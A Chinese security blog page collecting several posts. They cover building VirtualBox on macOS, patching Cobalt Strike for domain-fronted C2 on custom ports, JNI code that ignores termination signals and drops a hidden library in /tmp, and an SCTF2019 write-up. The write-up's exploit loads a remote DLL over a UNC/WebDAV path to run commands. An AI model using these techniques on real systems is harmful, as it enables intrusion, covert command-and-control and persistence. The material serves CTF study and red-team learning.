MacOS 下编译 VirtualBox

在编译 VBox 的时候遇到了许多坑,记录一下。

环境是 MacOS 10.15 Catalina,VBox 6.1.16 。

安装SDK

Xcode10之后编译系统改了,我们需要用老版本的Xcode编译,所以要用 XcodeLegacy

1
2
git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git
cd xcodelegacy

再下载 Xcode6.4 ,放到 xcodelegacy 目录下。

安装一下

1
2
./XcodeLegacy.sh -osx109 buildpackages
sudo ./XcodeLegacy.sh -osx109 install

安装依赖

  • 安装 homebrew,brew install libidl openssl pkg-config qt
  • JDK版本>=6 ,我用的 JDK8
  • openssl

编译 openssl

link 的时候可能会因为目标版本不一致出现问题,需要用 10.9 编译的 openssl

下载 openssl ,解压后编译

1
2
3
./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/openssl@1.1.1i
make -j8
make install

编译

下面开始编译,中途可能还会有些编译错误,需要自己解决一下。末尾有我遇到的问题及解决。

先修改 configure 的 check_darwinversion()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
check_darwinversion()
{
test_header "Darwin version"
darwin_ver=`uname -r`
case "$darwin_ver" in
+ 19\.*)
+ check_xcode_sdk_path "$WITH_XCODE_DIR"
+ [ $? -eq 1 ] || fail
+ darwin_ver="10.15" # Catalina
+ sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk
+ cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
+ cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
+ CXX_FLAGS='--std=c++11'
+ ;;
17\.*)
check_xcode_sdk_path "$WITH_XCODE_DIR"
[ $? -eq 1 ] || fail
darwin_ver="10.13" # High Sierra
sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk
cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"
cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"
;;

配置

1
2
./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \
--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2

修改 tools/kBuildTools/VBoxXcode62.kmk ,开启 c++11 支持

1
2
3
4
5
-TOOL_VBoxXcode62_CXXFLAGS         ?=
+TOOL_VBoxXcode62_CXXFLAGS ?= --std=c++11

-TOOL_VBoxXcode62_OBJCXXFLAGS ?=
+TOOL_VBoxXcode62_OBJCXXFLAGS ?= --std=c++11

一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp

1
2
-    AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);
+ AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);

开始编译

1
2
source env.sh
kmk

FAQ

  • 报错 yasm: Bad CPU type in executable

    因为不支持 32 位应用,需要用 x64 的 yasm 替换,

    brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/

  • 报错 kBuild: iasl VBoxDD ....

    问题同上,找 x64 的 iasl 替换,https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip ,

    cp iasl tools/darwin.amd64/bin/iasl

  • 找不到 libqcocoa.dylib

    修改 AutoConfig.kmk

    1
    2
    3
    4
    5
    6
    7
    - PATH_SDK_QT5_INC               := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/Frameworks
    - PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/Frameworks

    + PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/include
    + PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/lib
    + PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/

魔改 CobaltStrike 3.14 实现域前置自定义端口

国内VPS的 80,443 端口默认都是需要备案才能使用,所以如果 TeamServer 搭在国内,Listener 只能选择其他端口,一般使用是没什么问题,但如果要配置域前置,会遇到上线不了的问题。

问题分析

我配置了一个 8880 端口的 listener,并配置了 CloudFront (回源端口 8880),生成了指向 80 端口的后门。但运行后并没有上线,Wireshark 抓包分析一下。

为了生成指向 80 端口的后门,我额外配置了一个 80 端口的 listener。

可以看到,第一步确实向 cdn 请求了,也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求),但是第二步开始向 8880 端口拉取任务了,这里就出问题了,因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。

所以我们要修改第二步的请求,强制让它继续和 80 端口通信。

p1

那么,为什么第一步的访问的端口是对的,第二个是错的呢。

我们知道一般用的CS后门是 staging 模式的,执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ,负责通过各种路径(http&https&tcp)下载 stage,然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。

因为生成 beacon 时,用的 listener 是监听 80 端口的,所以 beacon 第一次请求的确是向 80 端口发起的。

但实际上 cdn 的 80 端口指向的是 8880 端口的 listener,8880 接到请求,会返回 stage,stage 时在 teamserver 生成的,它并不知道我们是在通过 80 端口访问它,此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。

要解决问题,必须修改 teamserver 生成的 stage 指向的端口,但搜了一大圈,并没有找到相关的解决方法,AggressorScript 也只能在客户端动动刀子,想要修改 Listener 相关的得要从根源入手。

杀死问题的办法 —— 魔改

我的思路是在创建 listener 的时候,再加一个选项,让 stage 用的端口和 listener 实际监听的端口分开。

当然做👇这些之前要先反编译,我这里用的 fernflower ,用法略过。

0x01 UI

CobaltStrike 用的是 swing 写的 UI,创建 Listener 的部分在 aggressor.dialogs.ListenerDialog.show()

p4

用了 DialogManager 包装了每个 Dialog,调用 DialogManager.text 可以在当前 dialog 创建输入框,命名为 bind port,作为实际监听的端口。

来加一个输入框:

p6

Save 按钮按下时,会在后续触发到 ListenerDialog.dialogResult

p5

这里检查了一下 domain 是否超长,通过了,就推送一个 listeners.create 请求到 teamserver,参数是 listener 的名字和配置信息,再之后 listener 就会在 teamserver 建立。

我们下一步是要把 bind port 传到 this.options,这里有点绕,在调用 DialogManager.text 的时候创建一个内部的 DialogListener

p7

DialogManager.addDilogListenerInternal 可以看到会把创建的 DialogListener 加到

p9

Save 按钮实际是 DialogManager.action_noclose 生成的
这里的,点击事件可以在这里找到。

p10

这里调用了之前的创建的匿名 DialogListener,将值传到 this.options,所以创建的输入框会自动把值添加到配置里来,😭绕了一圈啥也不用干。

为了能在 Listeners 这个 Tab 直接看到设置的 bind port, 给 aggressor.windows.ListenerManagercols 加上 bind port 就会自动加载进来了。

p13

效果如下:

p12

0x02 Listener

在各处调用 Listener 时,会创建 common.Listener 实例,里面是没有 bind port 字段的,所以要给它加上。

p19

0x03 Stage

p11

teamserver 接到创建 Listener 的请求后,会先把 Listener 序列化保存下来,以便下次 teamserver 重启的时候可以自动监听。

然后本地调用 beacons.start 。这里的调用链有点长:

server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()

最主要的是两个地方 server.WebCalls.getWebServer() 创建 Web 服务,beacon.BeaconSetup.exportBeaconStage 构造 Stage 的 shellcode。

p14

p15

这里的 var1 是监听的端口号,默认的 Stage 指向的端口和 Listener 监听的端口号是同一个,现在我们要让他们的端口分离,因为 start() 参数不是 Map ,所以不能直接往里加一个参数,只能重写或者重载一下这个方法。

我直接重写了一下,加了一个参数 bindPort,创建 Web 服务时,就用这个端口。Stage 还是用原来的 var1 作为端口,不用修改。这样创建 Listener 的时候,原来端口号代表 Stage 用的

p16

相应的,上层的调用链也要修改一下。

p17

p18

0x05 编译 & 替换

然后要把修改过的代码编译一下,替换到 jar 里。

1
2
3
4
5
6
7
8
9
10
javac -cp cobaltstrike.jar common/Listener.java
zip -u cobaltstrike.jar common/Listener.class
javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java
zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class
javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java
zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class
javac -cp cobaltstrike.jar server/Beacons.java
zip -u cobaltstrike.jar server/Beacons.class
javac -cp cobaltstrike.jar beacon/BeaconSetup.java
zip -u cobaltstrike.jar beacon/BeaconSetup.class

⬆️可能有点遗漏的,各位自己调一下吧。

效果

rrr

后话

这是一篇19年的存稿,当时还没有 CS 4.0,这个问题 4.0 已经解决了,可以配置 Listener 的 C2 PortBind Port,将 C2 的端口与 teamserver 实际监听的端口分开。

现在放出来,也算抛砖引玉,给想要修改 CS 的小伙计提供点经验,欢迎交流~

Java 实现后台执行

常用的将程序放到后台执行,并在shell退出后依然运行的方法,是使用 nohup&,比如 nohup java -jar abc.jar &

原理

nohup 的作用是忽略 SIGHUP 信号。当一个shell关闭后,会向运行的程序发送 SIGHUP 信号,通知同一shell内的各个进程,它们与控制终端不再关联。系统对 SIGHUP 信号的默认处理是终止收到该信号的进程。

& 的作用是忽略 SIGINT 信号。Ctrl+C 会向前台进程发送 SIGINT 信号,以关闭程序。

实现

综上,只要我们能实现 nohup& 的功能,就能让程序在后台运行,不会因为 shell 断开而中断了。

由于题目是用 Java 实现,而 Java 本身并不能进行如此底层的操作,所以思路是使用 JNI,借助 C/C++ 实现。

直接上代码:

1
2
3
4
5
6
7
package io.github.jayl1n.daemon;

public class Main {

private native boolean ignoreSignal();

}

javah io.github.jayl1n.daemon.Main 生成头文件,添加到 C++ 项目里。

1
2
3
4
5
6
7
8
9
10
#include "io_github_jayl1n_daemon_Main.h"

#include <signal.h>

JNIEXPORT jboolean JNICALL Java_io_github_jayl1n_daemon_Main_ignoreSignal(JNIEnv *, jobject) {
//忽略 SIGHUP SIGINT 信号,防止 shell 断开 ,Ctrl+C 中断程序
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
return JNI_TRUE;
}

生成出来的动态库,需要放到与jar包相同的目录下,或者是 java.library.path 指定的路径,否则在 System.loadLibrary 时无法找到动态库。

java.library.path 变量可以在执行时添加 -Djava.library.path=/a/b/c 参数指定。System.getProperty("java.library.path") 可以查看当前的路径。但无法通过 System.setProperty("java.library.path","/a/b/c") 修改,因为在 JVM 启动时就会缓存这个值,后续修改不会生效,可以通过反射来清除 ClassLoadersys_paths 变量(缓存标志),重新初始化 usr_paths,代码如下:

java/lang/ClassLoader.java:1815

1
2
3
4
5
6
7
8
9
10
11
12
13
static void loadLibrary(Class<?> fromClass, String name, boolean isAbsolute) {
ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
if (sys_paths == null) {
usr_paths = initializePath("java.library.path");
sys_paths = initializePath("sun.boot.library.path");
}
if (isAbsolute) {
if (loadLibrary0(fromClass, new File(name))) {
return;
}
throw new UnsatisfiedLinkError("Can't load library: " + name);
}
......

第三行,sys_paths 不为 null 时,不会再初始化 java.library.path,相当于是第一次读取就被缓存到了 usr_paths

通过反射清除 sys_paths:

1
2
3
4
5
6
7
8
9
10
11
12
 try {
//先修改 java.library.path
System.setProperty("java.library.path", System.getProperty("java.library.path") + ":/Users/jaylin/daemon-demo/bin");

//清除缓存标志
Field sys_paths = ClassLoader.class.getDeclaredField("sys_paths");
sys_paths.setAccessible(true);
sys_paths.set(null,null);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
//后续再 loadLibrary 时,将会使用新的 usr_paths

👆上面说了一个奇迹淫巧,在有多个动态库,相互依赖时比较有用。

这里其实也可以使用 System.load 直接指定绝对路径(注意和System.loadLibrary 的区别)。

由于动态库无法直接打包到 jar 包里用,所以一般是要分开上传到服务器。

为了优雅的使用动态库,可以硬编码到 jar 包里,在执行时释放出来,JNI 支持延时加载动态库。

这里我使用 base64 编码, cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64,下面写个例子,定时输出字符到 /tmp/test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Main {
private native boolean ignoreSignal();

public static void main(String[] args) throws IOException, Base64DecodingException {
//释放动态库
String dynlib = "z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==(省略)";
File dynlibFile = new File("/tmp/.jayl1n");
FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);
fileOutputStream.write(Base64.decode(dynlib));
fileOutputStream.close();

//加载动态库
System.load("/tmp/.jayl1n");
//调用
new Main().ignoreSignal();
AtomicInteger i = new AtomicInteger();
while (true) {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo " + i.getAndIncrement() + " >> /tmp/test"});
Thread.sleep(1000);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
}

效果:

效果

进阶 —— 免疫 kill 命令

kill 命令默认是发送 SIGTERM 信号,友好地通知进程该结束了。进程在这种情况下可以不响应 SIGTERM(即忽略),继续执行下去。

也就是说只要再 signal(SIGTERM, SIG_IGN); 就可以防止被 kill 杀掉了,经过测试确实可以实现,有兴趣的可以自己试一下。

不过,当 kill 命令带参数时(kill -9),发送的是 SIGKILL 信号,这个信号无法被捕获或忽略,CTF 里有常用的杀不死马的方法 kill -9 -1(杀死除init进程外的所有进程),此时,程序无法感知到 SIGKILL 信号,就被系统干掉了。

References

Unix Signals

Nohup源码分析

一分钟了解nohup和&的功效

kill命令——系统内部执行流程

不可忽略或捕捉的信号—SIGSTOP和SIGKILL

2020 大家新年快乐鸭

距离上次写博客已经隔了大半年,由于中间换了MacBook,又急急忙忙的赶去实习,原来博客的源码一直没时间迁移过来(就是懒),所以很久都没有发文了。

目前我在某美股上市公司做红蓝对抗,实习了这么久,收获了挺多,打算有时间了写出来。

敬请关注,祝大家新年快乐~ (手动龇牙

SCTF2019 babyEoP Writeup

前言

第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。

Writeup

题目给了一个webshell,弱口令 123456 直接进去。

Tomcat启用了Java Security Manager,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。

  2. 查看lib目录,存在 commons-collections 3.1 gadget。

  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)

    我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoaderaccessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)

有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

1561382235958

​ 调用了 Runtime.getRuntime().load0

  1. Runtime.getRuntime().load0

    1561383875593

​ 在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。

  1. File.isAbsolute

    1561382827270

    再看看 File 是如何判断是否是绝对路径的。

    根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

1
2
3
4
5
6
7
8
9
10
11
public class R {
static {
System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
}

public static native void exec(String cmd);

public R(String cmd) {
exec(cmd);
}
}

执行命令

1
2
javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h

1
2
3
4
5
6
7
8
9
10
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp

1
2
3
4
5
6
7
8
9
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

|